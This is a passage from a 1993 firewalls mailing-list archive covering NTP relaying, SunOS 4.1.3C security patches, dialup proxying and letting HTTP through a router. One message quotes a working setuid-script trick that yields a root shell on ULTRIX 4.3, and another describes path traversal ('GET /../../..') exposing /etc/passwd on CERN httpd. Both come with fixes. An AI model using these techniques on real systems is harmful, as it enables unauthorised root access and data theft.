IP on the network (or on a given subnet?). Any ideas you might have would be greatly appreciated. Please do not publish this message. Sincerely, Clint Bogard Asante Technologies, Inc. 821 Fox Lane San Jose, CA 95131 email: cbogard@asante.com (800) 662-9686 (408) 435-8388 x309 (408) 432-7511 (Fax) From Firewalls-Owner Wed Oct 6 04:08:37 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05805; Wed, 6 Oct 93 04:08:37 GMT Received: from das.wang.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05798; Tue, 5 Oct 93 21:08:12 PDT Received: from elf.wang.com by das.wang.com with SMTP id AA13930 (5.65c/IDA-1.5 for ); Wed, 6 Oct 1993 00:10:49 -0400 Received: from fnord.wang.com by elf.wang.com with SMTP id AA11804 (5.65c/IDA-1.5 for ); Wed, 6 Oct 1993 00:10:28 -0400 Received: by fnord.wang.com (5.65c/TF5) id AA11942; Wed, 6 Oct 1993 00:10:24 -0400 From: Tom Fitzgerald Message-Id: <199310060410.AA11942@fnord.wang.com> Subject: Anyone want to test a UDP relayer? To: firewalls@GreatCircle.COM Date: Wed, 6 Oct 93 0:10:23 EDT X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I've got a UDP packet relayer running on our firewall system, forwarding NTP syncs and archie queries through the firewall. Is anyone interested in trying this out? It's pretty well exercised in the environment here, but it would be nice to see it running somewhere else before it gets distributed. It allows forwarding between: 1) specific pairs of internal and external hosts (nice for ntpd), 2) any internal host and a specific external host (nice for ntp query clients or archie clients that you can't modify the source to), or 3) any internal host and any external host (nice for clients which you can modify, since it requires replacing calls to sendto and recvfrom with Rsendto/Rrecvfrom, in the spirit of socks). Anyone interested in running this thing is welcome to contact me, though I don't want too many people getting it until I get some more confidence in it. -- Tom Fitzgerald Wang Labs, Lowell MA, USA fitz@wang.com 1-508-967-5278 From Firewalls-Owner Wed Oct 6 04:46:59 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05900; Wed, 6 Oct 93 04:46:59 GMT Received: from sayshell.umd.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA05893; Tue, 5 Oct 93 21:46:48 PDT Received: from localhost by sayshell.umd.edu (NX5.67c/NeXT-1.0) id AA00576; Wed, 6 Oct 93 00:45:27 -0400 Message-Id: <9310060445.AA00576@sayshell.umd.edu> To: Tom Fitzgerald Cc: firewalls@GreatCircle.COM From: "Louis A. Mamakos" Subject: Re: Anyone want to test a UDP relayer? In-Reply-To: Your message of "Wed, 06 Oct 1993 00:10:23 EDT." <199310060410.AA11942@fnord.wang.com> Date: Wed, 06 Oct 1993 00:45:27 -0400 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk While I can't take you up on your offer to test your code, since I'm about to change jobs in a couple weeks. As an NTP weenie, two thoughts came to my mind: - Is the implementation style such that the delay through the forwarder is constant without regard to the direction of flow? If not, this will introduce a bias in the measured clock offsets due to an asymmetric delay. - Why not just run an NTP peer on the firewall system, and live without direct NTP connectivity? I guess there are plenty of reasons, but I just have this (possibly unfounded) worry about yet another source of "noise" on the NTP clock offset/delay samples being introduced by the relay daemon. Entering "paranoid mode".. Also, having a "secured" NTP daemon on the firewall lets you configure authenticated NTP peers, and you won't have to replicate all of that on your "internal" machines. This could be important, as you may not want to be open to someone spoofing an (unauthenticated) external NTP clock peer and screwing with your system's time. This can be an issue for protocols (e.g., Kerberos) which use timestamps in protocol exchanges to protect against replay attacks. Louis Mamakos University of Maryland From Firewalls-Owner Wed Oct 6 12:41:15 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA07166; Wed, 6 Oct 93 12:41:15 GMT Received: from farber.harvard.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA07159; Wed, 6 Oct 93 05:41:07 PDT Received: by farber.harvard.edu (5.65/1.34) id AA28496; Wed, 6 Oct 93 08:44:19 -0400 From: ellozy@farber.harvard.edu (Mohamed Ellozy) Message-Id: <9310061244.AA28496@farber.harvard.edu> Subject: Re: Security related patches To: era@ncar.ucar.edu Date: Wed, 6 Oct 93 8:44:19 EDT Cc: lowton@typhon.dra.hmg.gb, firewalls@GreatCircle.COM In-Reply-To: <9310042138.AA18927@niwot.scd.ucar.EDU>; from "Ed Arnold" at Oct 4, 93 3:38 pm X-Organization: Dana-Farber Cancer Institute X-Phone: 617-632-3034, 617-632-3425 X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Ed Arnold writes > > There seem to be two commonly-available Sun patch lists out there; one > from Greg Earle, and one from Alain Brossard. Anyone who wants them > may get anon ftp copies from > ncar.ucar.edu:sun-patches/patchlist.{brossard,earle}. I hate to continue a thread that is basically unrelated to this list, but what is the status of 4.1.3C (for Classics) patches? Neither of the two lists mentoined above, nor the CIAC list (available on the same host in sun-patches/security/patchlist.ciac) makes any mention of 4.1.3C. Thanks. Mohamed From Firewalls-Owner Wed Oct 6 15:55:44 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA07495; Wed, 6 Oct 93 15:55:44 GMT Received: from ncar.UCAR.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA07487; Wed, 6 Oct 93 08:55:33 PDT Received: from niwot.scd.ucar.edu by ncar.ucar.EDU (5.65/ NCAR Central Post Office 03/11/93) id AA06949; Wed, 6 Oct 93 09:58:48 MDT Message-Id: <9310061558.AA24451@niwot.scd.ucar.EDU> Received: by niwot.scd.ucar.EDU (5.65/ NCAR Mail Server 04/10/90) id AA24451; Wed, 6 Oct 93 09:58:38 MDT Subject: Re: Security related patches To: ellozy@farber.harvard.edu (Mohamed Ellozy) Date: Wed, 6 Oct 93 9:58:37 MDT Cc: mark.graff@sun.com, firewalls@GreatCircle.COM In-Reply-To: <9310061244.AA28496@farber.harvard.edu>; from "Mohamed Ellozy" at Oct 6, 93 8:44 am From: era@ncar.ucar.edu (Ed Arnold) Reply-To: era@ncar.ucar.edu (Ed Arnold) X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > I hate to continue a thread that is basically unrelated to this list, > but what is the status of 4.1.3C (for Classics) patches? Neither of > the two lists mentoined above, nor the CIAC list (available on the > same host in sun-patches/security/patchlist.ciac) makes any mention of > 4.1.3C. Given Sun's licensing restrictions on 4.1.3c, I wouldn't think there would be much call for patches. Maybe Sun's security coordinator would answer this question. Mark Graff, would you tell us (via the firewalls@greatcircle.com mailing list) what the availability of a security patchlist for 4.1.3c is? Or is it the same as for 4.1.3? ---- Ed Arnold * NCAR * POB 3000, Boulder, CO 80307-3000 * 303-497-1253(voice) 303-497-{1298,1137}(fax) * internet: era@ncar.ucar.edu * bitnet: era@ncario compuserve: internet:era@ncar.ucar.edu From Firewalls-Owner Wed Oct 6 16:15:48 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA07545; Wed, 6 Oct 93 16:15:48 GMT Received: from ncar.UCAR.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA07538; Wed, 6 Oct 93 09:15:38 PDT Received: from niwot.scd.ucar.edu by ncar.ucar.EDU (5.65/ NCAR Central Post Office 03/11/93) id AA11105; Wed, 6 Oct 93 10:18:57 MDT Received: from sedona.scd.ucar.edu by niwot.scd.ucar.EDU (5.65/ NCAR Mail Server 04/10/90) id AA25392; Wed, 6 Oct 93 10:18:56 MDT Message-Id: <9310061618.AA24022@sedona.scd.ucar.edu> Received: by sedona.scd.ucar.edu (5.65/ NCAR Mail Client 04/19/90) id AA24022; Wed, 6 Oct 93 10:18:55 MDT Subject: SunOS 4.1.3c security patches To: firewalls@GreatCircle.COM Date: Wed, 6 Oct 93 10:18:54 MDT From: era@ncar.ucar.edu (Ed Arnold) Reply-To: era@ncar.ucar.edu (Ed Arnold) X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk According to Roman.Galperin@sun.com (415-688-9072), security patches for 4.1.3c are the same as for 4.1.3. From Firewalls-Owner Wed Oct 6 20:28:08 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA08037; Wed, 6 Oct 93 20:28:08 GMT Received: from telecom.ksu.edu (gateway.telecom.ksu.edu) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA08030; Wed, 6 Oct 93 13:28:01 PDT From: jmc@telecom.ksu.edu Message-Id: <199310062031.PAA23831@telecom.ksu.edu> Subject: Re: Security related patches To: ellozy@farber.harvard.edu (Mohamed Ellozy) Date: Wed, 6 Oct 1993 15:31:05 -0500 (CDT) Cc: firewalls@GreatCircle.COM In-Reply-To: <9310061244.AA28496@farber.harvard.edu> from "Mohamed Ellozy" at Oct 6, 93 08:44:19 am X-Mailer: ELM [version 2.4 PL23alpha] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 917 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > >Ed Arnold writes >> >> There seem to be two commonly-available Sun patch lists out there; one >> from Greg Earle, and one from Alain Brossard. Anyone who wants them >> may get anon ftp copies from >> ncar.ucar.edu:sun-patches/patchlist.{brossard,earle}. > >I hate to continue a thread that is basically unrelated to this list, >but what is the status of 4.1.3C (for Classics) patches? Neither of >the two lists mentoined above, nor the CIAC list (available on the >same host in sun-patches/security/patchlist.ciac) makes any mention of >4.1.3C. > When looking on sun's online access, I came up with 14 patches for 4.1.3C. All but one are ones for 4.1.2,4.1.3, and 4.1.3C. There is only one specfic 4.1.3C patch, which fixes not having 2 ethernet cards work correctly. the numbers of the patches are: 100075 100170 100173 100257 100347 100359 100507 100623 100645 100689 100890 100891 101251 101260 James From Firewalls-Owner Wed Oct 6 21:05:28 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA08118; Wed, 6 Oct 93 21:05:28 GMT Received: from das.wang.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA08111; Wed, 6 Oct 93 14:05:06 PDT Received: from elf.wang.com by das.wang.com with SMTP id AA17288 (5.65c/IDA-1.5 for ); Wed, 6 Oct 1993 17:08:21 -0400 Received: from fnord.wang.com by elf.wang.com with SMTP id AA17647 (5.65c/IDA-1.5 for ); Wed, 6 Oct 1993 17:08:10 -0400 Received: by fnord.wang.com (5.65c/TF5) id AA17052; Wed, 6 Oct 1993 17:08:03 -0400 From: Tom Fitzgerald Message-Id: <199310062108.AA17052@fnord.wang.com> Subject: Re: Anyone want to test a UDP relayer? To: louie@NI.umd.edu (Louis A. Mamakos) Date: Wed, 6 Oct 93 17:07:18 EDT In-Reply-To: <9310060445.AA00576@sayshell.umd.edu>; from "Louis A. Mamakos" at Oct 6, 93 12:45 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > While I can't take you up on your offer to test your code, since I'm > about to change jobs in a couple weeks. As an NTP weenie, two > thoughts came to my mind: > > - Is the implementation style such that the delay through the > forwarder is constant without regard to the direction of flow? If > not, this will introduce a bias in the measured clock offsets due to > an asymmetric delay. Yah - and this probably is the case. I'm only an amateur NTP weenie, but I did think about this, and decided not to address it since I wanted all traffic to be as fast as possible in each direction, and I wasn't willing to slow traffic in one direction to make it symmetric with the other direction. NTP is only one of the protocols travelling through the relayer. Currently, the relayer uses about 12 seconds/day of CPU time on a 486/25, running 2 continuous NTP peers and the occasional rarchie, so it's unlikely to be much of a distorting effect. Odds are, the distortions caused by hardware differences, and packets travelling with/against a heavy flow, are far more significant. > - Why not just run an NTP peer on the firewall system, and live > without direct NTP connectivity? My firewall system is a SysV variant with an unusable NTP implementation. (SCO Unix, the clock drifts forward and backward by a second over the course of hours, which confuses the drift measurements on all the other NTP systems.) :-(. > I guess there are plenty of reasons, > but I just have this (possibly unfounded) worry about yet another > source of "noise" on the NTP clock offset/delay samples being > introduced by the relay daemon. The internal host peering with the external host through the relayer sees an RTT of 56 ms and dispersion of 42 ms, most of which is outside our network. That's not bad. Any router is going to introduce some delay, and the relayer is no more of an effect than an unusually slow router. NTP is built to deal with this - I'm not going to worry about the fact that my clocks are only accurate within 10 milliseconds instead of 5 milliseconds. Someone who's more worried about it than I am could run the relayer with a nice(-20).... > Also, having a "secured" NTP daemon on the firewall lets you configure > authenticated NTP peers, and you won't have to replicate all of that > on your "internal" machines. This could be important, as you may not > want to be open to someone spoofing an (unauthenticated) external NTP > clock peer and screwing with your system's time. This can be an issue > for protocols (e.g., Kerberos) which use timestamps in protocol > exchanges to protect against replay attacks. The relayer is transparent. If you want to authenticate, it's no harder to do it on the internal machines which talk through the relayer to the outside NTP peers. Honestly, I'd rather have the encryption overhead (and the encryption keys!) *off* my firewall system. -- Tom Fitzgerald Wang Labs, Lowell MA, USA fitz@wang.com 1-508-967-5278 From Firewalls-Owner Thu Oct 7 18:55:51 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12236; Thu, 7 Oct 93 18:55:51 GMT Received: from Sun.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12229; Thu, 7 Oct 93 11:55:45 PDT Received: from Corp.Sun.COM (lemay.Corp.Sun.COM) by Sun.COM (4.1/SMI-4.1) id AA24984; Thu, 7 Oct 93 11:59:01 PDT Received: from liberty.Corp.Sun.COM by Corp.Sun.COM (4.1/elliemay (corpmail1 inbound)) id AA04787; Thu, 7 Oct 93 11:58:58 PDT Received: by liberty.Corp.Sun.COM (5.0/SMI-SVR4) id AA03889; Thu, 7 Oct 93 12:01:56 PDT Date: Thu, 7 Oct 93 12:01:56 PDT From: graff@liberty.Corp.Sun.COM (Mark Graff) Message-Id: <9310071901.AA03889@liberty.Corp.Sun.COM> To: ellozy@farber.harvard.edu, era@ncar.ucar.edu Subject: Re: Security related patches Cc: mark.graff@Sun.COM, firewalls@GreatCircle.COM X-Sun-Charset: US-ASCII Content-Length: 1270 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I'll have to look into this and report back Friday. Sorry to use up bandwidth without giving a definitive answer but I thought an acknowledgment was appropriate. -mg- >From era@niwot.scd.ucar.EDU Wed Oct 6 09:00:04 1993 >Subject: Re: Security related patches >To: ellozy@farber.harvard.edu (Mohamed Ellozy) >Date: Wed, 6 Oct 93 9:58:37 MDT >Cc: mark.graff@Sun.COM, firewalls@greatcircle.com > >> I hate to continue a thread that is basically unrelated to this list, >> but what is the status of 4.1.3C (for Classics) patches? Neither of >> the two lists mentoined above, nor the CIAC list (available on the >> same host in sun-patches/security/patchlist.ciac) makes any mention of >> 4.1.3C. > >Given Sun's licensing restrictions on 4.1.3c, I wouldn't think there >would be much call for patches. > >Maybe Sun's security coordinator would answer this question. Mark >Graff, would you tell us (via the firewalls@greatcircle.com mailing >list) what the availability of a security patchlist for 4.1.3c is? >Or is it the same as for 4.1.3? > >---- >Ed Arnold * NCAR * POB 3000, Boulder, CO 80307-3000 * 303-497-1253(voice) >303-497-{1298,1137}(fax) * internet: era@ncar.ucar.edu * bitnet: era@ncario >compuserve: internet:era@ncar.ucar.edu > From Firewalls-Owner Thu Oct 7 18:59:32 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12259; Thu, 7 Oct 93 18:59:32 GMT Received: from mailgate.Tandy.COM ([139.60.206.238]) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12250; Thu, 7 Oct 93 11:59:12 PDT Received: from tisdec.tis.tandy.com by mailgate.Tandy.COM; Thu, 7 Oct 93 13:56 CDT Received: by tisdec.tis.tandy.com (5.65/DEC-Ultrix/4.3) id AA15137; Thu, 7 Oct 1993 13:54:28 -0500 From: chris@tisdec.tis.tandy.com (Chris Riney) Message-Id: <9310071854.AA15137@tisdec.tis.tandy.com> Subject: Re: SUID scripts on ULTRIX 4.3A To: jdlacour@dal.mobil.com (Jeffrey D. LaCoursiere) Date: Thu, 7 Oct 1993 13:54:27 -0500 (CDT) Cc: firewalls@GreatCircle.COM In-Reply-To: <9310050046.AA25265@drds03.dal.mobil.com> from "Jeffrey D. LaCoursiere" at Oct 4, 93 07:46:17 pm X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 1302 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > >> machine> id > >> uid=1766(jdlacour) gid=0(wheel) > >> machine> echo '#\!/bin/sh' > test > >> machine> su > >> password: > >> # chown root test > >> # chmod 4755 test > >> # exit > >> # machine> ln -s test - > >> machine> - > >> $ id > >> uid=1766(jdlacour) gid=0(wheel) euid=0(root) > >> $ > > > >This has nothing to do with .profile or argv[0]. > > But it does. argv[0] == "-", just like he said. > > >Your script is also vulnerable to the -i problem. > >Secure setuid sh scripts need to start with > > #!/bin/sh - > >not just > > #!/bin/sh > > > >If you use the correct starting line and try the above again, > >then it will execute correctly, without giving you a root > >shell. > > Absolutely. I sent the above example to illustrate the point > about the script starting with argv[0]=="-". He was not talking about > the dash in "#!/bin/sh -". Although on Ultrix 4.3 it did not > have the effect of reading and executing my .profile, the results > were just as disastrous... > > j > > Fortunatly DEC fixed this on 4.3A. I went to try this on one of our systems and it would not yield a shell, and then I remembered that WE had upgraded that system to ULTRIX 4.3A. ULTRIX 4.3 has this QUIRK, so UPGRADE yesterday! chris@tisdec.tis.tandy.com CERT are you listening to this??? From Firewalls-Owner Thu Oct 7 20:25:13 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12503; Thu, 7 Oct 93 20:25:13 GMT Received: from BITNIC.EDUCOM.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12494; Thu, 7 Oct 93 13:25:02 PDT Received: from BITNIC.EDUCOM.EDU by BITNIC.EDUCOM.EDU (IBM VM SMTP V2R2) with BSMTP id 2344; Thu, 07 Oct 93 16:29:59 EDT Received: from BITNIC.EDUCOM.EDU (NJE origin NETMAINE@BITNIC) by BITNIC.EDUCOM.EDU (LMail V1.1d/1.7f) with RFC822 id 2343; Thu, 7 Oct 1993 16:29:56 -0400 Subject: Proxy services over single-host dialup IP service? To: FIREWALLS@GreatCircle.COM Cc: Bob Haskins From: "Andrew T. Robinson" Date: Thu, 7 Oct 93 16:01:42 EDT Message-Id: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Scenario: Customer connects to Internet via a single-host dialup IP service. Internet provider assigns a single IP number and host name to dialup host at customer site. Customer host connections is via modem, perhaps with some software such as Morningstar PPP to handle demand dial, etc. Question: Would it be possible for the customer to provide LAN workstations with Internet access through the use of proxy services? What would be the hardware/software requirements (ie., would something like Morningstar PPP be necessary or would a regular TCP/IP package on the host work)? I am assuming this would work because the dialup host is essentially a dual-homed host--one interface is the serial port running SLIP/PPP, and the other is the NIC to the customer's LAN. Has anyone done this? Would probably want to support telnet, ftp, smtp, and x (motif) at a minimum for LAN users. Andy From Firewalls-Owner Thu Oct 7 22:23:26 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12943; Thu, 7 Oct 93 22:23:26 GMT Received: from Sun.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12936; Thu, 7 Oct 93 15:23:19 PDT Received: from Corp.Sun.COM (lemay.Corp.Sun.COM) by Sun.COM (4.1/SMI-4.1) id AA00283; Thu, 7 Oct 93 15:26:41 PDT Received: from olympics.corp.sun.com by Corp.Sun.COM (4.1/elliemay (corpmail1 inbound)) id AA19656; Thu, 7 Oct 93 15:26:40 PDT Received: by olympics.corp.sun.com (4.1/SMI-4.1a) id AA14299; Thu, 7 Oct 93 15:26:30 PDT Date: Thu, 7 Oct 93 15:26:30 PDT From: Brad.Powell@Corp.Sun.COM (Brad Powell) Message-Id: <9310072226.AA14299@olympics.corp.sun.com> To: graff@liberty.Corp.Sun.COM, firewalls@GreatCircle.COM Subject: Re: Security related patches Classification: Sun Proprietary: Internal Use Only Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk The security patch list is basically the same for 4.1.3 and 4.1.3c (SunOS) there is an additional fix needed for the 4.1.3M (multi-processor) release for a multiply/divide bug. my $0.02 =========================================================================== Brad Powell : brad.powell@Sun.COM | Sr. Network Security Analyst | Part time Cyberspace Investigator Computer/Information Security. | and Security Consultant Sun Microsystems Inc. | --------------------------------------------------------------------------- The views expressed are those of the author and may not reflect the views of Sun Microsystems Inc. =========================================================================== From Firewalls-Owner Thu Oct 7 23:09:01 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13021; Thu, 7 Oct 93 23:09:01 GMT Received: from ncar.UCAR.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13014; Thu, 7 Oct 93 16:08:53 PDT From: woods@ncar.UCAR.EDU (Greg Woods) Message-Id: <9310072310.AA13613@ncar.ucar.EDU> Received: by ncar.ucar.EDU (5.65/ NCAR Central Post Office 03/11/93) id AA13613; Thu, 7 Oct 93 17:10:58 MDT Subject: Re: Security related patches To: era@ncar.ucar.edu Date: Thu, 7 Oct 93 17:10:58 MDT Cc: lowton@typhon.dra.hmg.gb, firewalls@GreatCircle.COM In-Reply-To: <9310042138.AA18927@niwot.scd.ucar.EDU>; from "Ed Arnold" at Oct 4, 93 3:38 pm X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > There seem to be two commonly-available Sun patch lists out there; one > from Greg Earle, and one from Alain Brossard. Anyone who wants them > may get anon ftp copies from > ncar.ucar.edu:sun-patches/patchlist.{brossard,earle}. Just for the record, you should use ftp.ucar.edu rather than ncar.ucar.edu. Right now these are the same machine but that is slated to change shortly. --Greg From Firewalls-Owner Fri Oct 8 19:24:29 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA16203; Fri, 8 Oct 93 19:24:29 GMT Received: from Sun.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA16196; Fri, 8 Oct 93 12:24:20 PDT Received: from Corp.Sun.COM (lemay.Corp.Sun.COM) by Sun.COM (4.1/SMI-4.1) id AA12174; Fri, 8 Oct 93 12:27:45 PDT Received: from hearty.Corp.Sun.COM by Corp.Sun.COM (4.1/elliemay (corpmail1 inbound)) id AA01122; Fri, 8 Oct 93 12:27:44 PDT Received: by hearty.Corp.Sun.COM (4.1/SMI-4.1) id AA04192; Fri, 8 Oct 93 12:25:48 PDT Date: Fri, 8 Oct 93 12:25:48 PDT From: Mark.Graff@Corp.Sun.COM (Mark Graff) Message-Id: <9310081925.AA04192@hearty.Corp.Sun.COM> To: firewalls@GreatCircle.COM Subject: Re: Security-related patches Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Connectivity is great, I guess, but I got questions about 4.1.3C security patches from four directions yesterday. Yow! Here's what I know... This is not an announcement. Announcements are official and have asterisks and ASCII logos. So don't hang me with a bunch of "Sun says..." postings, OK? The official message will be available very soon, and will be written by people who know much more about the patches than I do. 1. While there are currently no 4.1.3C-specific patches available, almost every 4.1.3 patch is compatible. Versions for 4.1.3C for the half dozen or so incompatible patches are almost ready. 2. Of those several patches, two relate to security. I am not going to give the bug numbers or patches here, because I would then be announcing live security holes in 4.1.3C. But I expect to be able to provide the relevant information in the next security bulletin, which will be coming out Real Soon Now. Hope that helps. -mg- From Firewalls-Owner Fri Oct 8 20:26:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA16300; Fri, 8 Oct 93 20:26:11 GMT Received: from versant.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA16292; Fri, 8 Oct 93 13:25:50 PDT Received: from osc.com (osc.versant.com) by versant.com (4.1/SMI-4.1) id AA01509; Fri, 8 Oct 93 13:32:06 PDT Received: by osc.com (4.1/SMI-4.1) id AA15822; Fri, 8 Oct 93 13:29:36 PDT Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.osc.osc.com.sun4.41 via MS.5.6.osc.osc.com.sun4_41; Fri, 8 Oct 1993 13:29:36 -0700 (PDT) Message-Id: Date: Fri, 8 Oct 1993 13:29:36 -0700 (PDT) From: Kwan-Seng Low Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: firewalls@GreatCircle.COM Subject: kbridge/drawbridge on PC DOS? Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Anyone out there using any of these PD software (kbridge or drawbridge) on PC platform to use as a firewall? How effective they're? Are they able to do source filtering? Appreciate anyone could share their experience. Kwan From Firewalls-Owner Fri Oct 8 21:19:56 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA16491; Fri, 8 Oct 93 21:19:56 GMT Received: from access.digex.net by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA16484; Fri, 8 Oct 93 14:19:41 PDT Received: by access.digex.net id AA20557 (5.67a8/IDA-1.4.4 for firewalls@greatcircle.com); Fri, 8 Oct 1993 17:22:48 -0400 Date: Fri, 8 Oct 1993 17:22:48 -0400 From: Gary Goldberg Message-Id: <199310082122.AA20557@access.digex.net> To: firewalls@GreatCircle.COM Subject: Permitting http across a firewall - bad idea? How to do it? Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Has anyone successfully set this up, and have knowledge of the procedures necessary to secure it. We want to permit http for WWW/Mosaic access, but we're not sure of the socket number(s) to allow, and if there is something else we might be missing. We're using a Cisco router. Thanks in advance for any help. We're setting this up for our employers (Census Bureau), - Gary - Gary Goldberg og@access.digex.net ggoldber@srdslc1.fb4.noaa.gov From Firewalls-Owner Fri Oct 8 22:24:32 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA16729; Fri, 8 Oct 93 22:24:32 GMT Received: from ALABAMA.CF.CS.YALE.EDU (RT-GW.CS.YALE.EDU) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA16722; Fri, 8 Oct 93 15:24:21 PDT Received: from SPARKY.CF.CS.YALE.EDU by ALABAMA.CF.CS.YALE.EDU (5.65c/res.host.cf-3.5) with SMTP id AA18141; Fri, 8 Oct 1993 18:27:38 -0400 Received: by SPARKY.CF.CS.YALE.EDU (Sendmail-5.65c/res.client.cf-3.7) id AA19713; Fri, 8 Oct 1993 18:27:37 -0400 From: long-morrow@CS.YALE.EDU (H Morrow Long) Message-Id: <199310082227.AA19713@SPARKY.CF.CS.YALE.EDU> To: Gary Goldberg Cc: firewalls@GreatCircle.COM Subject: Re: Permitting http across a firewall - bad idea? How to do it? In-Reply-To: Your message of Fri, 08 Oct 93 17:22:48 EDT. Date: Fri, 08 Oct 93 18:27:35 -0400 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk In message <199310082122.AA20557@access.digex.net> you write: > >Has anyone successfully set this up, and have knowledge of the procedures >necessary to secure it. We want to permit http for WWW/Mosaic access, but >we're not sure of the socket number(s) to allow, and if there is something >else we might be missing. We're using a Cisco router. Thanks in advance >for any help. We're setting this up for our employers (Census Bureau), - Gary > >- Gary Goldberg og@access.digex.net ggoldber@srdslc1.fb4.noaa.gov The standard HTTP server TCP port is 80. Some sites run special http servers at 81, 82, .... Users w/o privileges on a system will often start up http servers at TCP ports 8000, 8001, ... WWW clients such as NCSA Mosaic are multiprotocol and can therefore also access gopher servers (TCP port 70), NNTP servers (TCP port 119) and anonymous FTP servers ( TCP ports 20 and 21) as well as the rare hyperlink that causes a tn3270 or telnet ( port 23) to be fired up. The HTTP browser and server uses only one TCP session ( local/remote socketpair) between them - like SMTP, NNTP and telnet and unlike FTP. If you are going to run a HTTP daemon (server) then you need to be especially careful: For the best security you should run your HTTP server inside a 'chroot'ed environment (in addition to running as user nobody or other non-privileged user). I run this way on http://www.yale.edu/ Neither the CERN nor the NCSA http daemon s/w does this by default. The CERN server s/w doesn't trap out http requests to 'GET /../../..' so servers out of the box without a good httpd.conf file to screen out bad requests can be used to browse the entire filesystems, get the /etc/passwd file, etc. Thanks go to mende@het.brown.edu (Paul F. Mende) for warning me about this when I brought up my server. _ _ __ _ __ (/_ / (/ \/ \ _ __ __ ____ _ __ (/ _ __ _) / / . / )_(_)_/ (_/ (_(_) (_(_( /___(_)_/ )_(_) ( ( ( _) H. Morrow Long Manager of Development Yale Univ. Comp Sci Dept. Computing Facility UUCP: yale!Long-Morrow P. O. Box 208285, ARPA: Long-Morrow@CS.Yale.EDU New Haven, CT 06520-8285 BITNET: Long-Morrow@YaleCS.BITNET (203)-432-{1248,1254} FAX: (203)-432-0593 From Firewalls-Owner Sun Oct 10 03:44:01 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21813; Sun, 10 Oct 93 03:44:01 GMT Received: from bedrock.cs.UMD.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21806; Sat, 9 Oct 93 20:43:55 PDT Received: by bedrock.cs.UMD.EDU (5.64/UMIACS-0.9/04-05-88) id AA00739; Sat, 9 Oct 93 23:46:52 -0400 Date: Sat, 9 Oct 93 23:46:52 -0400 From: reh@cs.UMD.EDU (Richard Huddleston) Message-Id: <9310100346.AA00739@bedrock.cs.UMD.EDU> To: Firewalls@GreatCircle.COM Subject: Frame Relay OK ? Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Does anyone know of any inherent security problems in Frame Relay 